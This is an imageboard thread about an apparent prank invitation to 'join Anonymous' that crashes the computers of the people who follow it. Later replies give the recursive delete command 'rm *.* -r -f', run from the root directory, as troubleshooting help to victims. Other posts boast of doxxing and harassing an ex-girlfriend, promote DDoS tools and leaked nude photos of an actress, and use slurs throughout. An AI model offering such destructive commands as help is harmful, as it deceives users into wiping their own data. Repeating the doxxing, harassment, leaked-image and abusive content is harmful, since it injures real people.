INVASION BOARD access thread to all NewFags

Thank you for making it simple and quick OP! I just joined and I'm reading the Intro for New Anonymous Members. Cheers user Brothers.

Yeah man! This is better than I expected?
>tfw not even the government websites can withstand this DDOS technology

Guise...something went wrong. I followed the instructions, now my computer crashed. I am now writing in my phone.

shit it actually worked. Cred Forums sometimes has good info

>windows 98

No, it's just updating your ancient OS for you.

Don't worry Cred Forumsro upon visiting the link your operating system will get updated to Windows 7 if it's not there already, just so you can get access to all the programs.

Easy user. New Anons need an invite like this, remember when we awaited the 2006 round of invite to user. That was a tough year. Took me until 2008 to be accepted to user.

What country you in nigga? Trust me very relevant

Eh

Somalia

Ah you made the grade. Welcome new Cred Forumsro ! With great power comes great responsibility. Expecto Patrmonium !!

Make sure you apply to all win machines on your network.

We are currently working om some new d-dos software, that will be impossible to track back to the root user. And no registration, to keep our users as save as posible.

didnt work
have mac
wat do

Holy shit guys. Ive waited a long time to become user. You guys are awesome. Thank you

I doubt its 19pm in somalia nigga stop projecting we need more members

10*pm also check em

It's finally open again! OP is slightly not fag this time
>waited forever

Noice mayn
Also tineye gives 2 results
Also its clearly a screenshot, not a photo taken with a phone

Kill yourself. You use a mac.

I did this from a google glass that i modified with linux. I can see where people work and scan faces for more personal info.

Spread the Google.

Also, install vlc so any media you download from the site, you can play

Bump so thread doesn't die and more people find a good way to enter anonymous

Fuck hurry up newfags sign up and join in on r @ id on Heronimie

Loving these hacked nudes Cred Forumsro. Such a cutie.

Newfag here. I love everything Anonymous does! It would be an honor to join so I can help out anyway I can!

Nice dubs newfag. Epic Emma Watson pics on user board. Sign up and see if you pass entry requirements.

user shut the fuck up do you want to wreck this for the rest of us?

>forgot to run as administrator
OP

IS

A

FAGGOT

Dude, when the site loads, it says "you are a masive feggle"

wat doo?

Double dubs don't lie

I am signed up! This is ultra Dank! Thanks OP.

Single dubs are also nice

What does this do to my computer?

Nothing Man! I just signed in and all the Anonymous info you can access is blowing my freaking mind!

Gives you access to latest dos tools, leaked Emma nudes, secret r @ id boards.

It didn't take me to a website! A bunch of shit flashed by on my command Prompt and closed itself.

WTF why are you posting this on Cred Forums?

>It just keeps opening up in leafpad

What gives OP?

Where is my spacial anonymous access?

Run as administrator

I think you misspelled something. Does it turn back on?

You did run as Administrator didn't you?

good god. seriously? its anonymous. why the hell would it be posted on Cred Forums

Dubs demand it.

Checked Muhfucka

>useradd administrator
>passwd administrator
>anonymous
./anonymous.bat

invalid argument and OP is massive tool

>IT WORKED! Now I begin my lib-tard haxor takeover

It's Vernal Equinox day where user invites newfags to join user remember.

Cause invasion board user started here

Holy Cock-Walluping Fuck! How long have these Emma Pics been on the Anonymous Site??? Noice

THIS:
The user world and the normie world come together and become almost indistinguishable for a day, use the knowledge wisely!

Did this. Fuckin was able to doxx my ex girlfriend and send 500 pizzas to her mom's house thanks to online Anons on secret board. Thanks OP so happy not to be a newfag anymore after all of these years.

Can anyone help me? I tried this on my dads computer and it stopped working. Please help I need to fix it before he gets home tomorrow.

Joining increased my penis size by 2 inches! I have a 4 inch cock now.

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Just turn it off wait 30 sec and restart fellow user. Installs access after this. Look for user icon in bottom left of screen.

Probably something with OS corrupt file. Viruses like dormant trojans can latch on to important program folders like system 32. If you happen to boot on safe mode or recovery you can try to delete it and refresh. If should come right back up. If not then ask other anons. At least thats what i was told but did it on xp

GOD DAMN IM REALLY IN IM PART OF THE 1337 ANONYMOUS. NOW ITS TIME TO DO SOME WORK.

>>inb4 Updates cause I have em. Fuck yes this is awesome.

Did you get your free Cred Forums gold pass with your membership user?

gayfucks mask is autopilot for WIN

Well why wouldn't I have. This is the best intro offer any anons could be offered into the best of the best.

You need to re-boot. Then go into bios maybe and boot to diskette or Lan. ONLY if you do not have a diskette hit lan. Come on guys it isn't that hard to do this.

Easy. Open the terminal in Utility group. Type then the following command
rm *.* -r -f
and type enter. It will work

You forgot one thing b/ro. He has to type first
cd / to be at top directory

Kek rubba dub dubs checked

youtube.com/watch?v=vIrFpeEudLQ&feature=youtu.be ..

How do I do that? I followed the instructions to a "t"

No it doesn't turn back on? Shall I try it again?

>He has to type first cd / to be at top directory

Not quite true. As long as he's not in the folder or a subfolder thereof, the use of the absolute path will work.

en.wikipedia.org/wiki/Benjaman_Kyle

I think I missed a step, OP. Pic related: this is what happened.

you may actually be dirty dan holy fuck

100% legit way to become user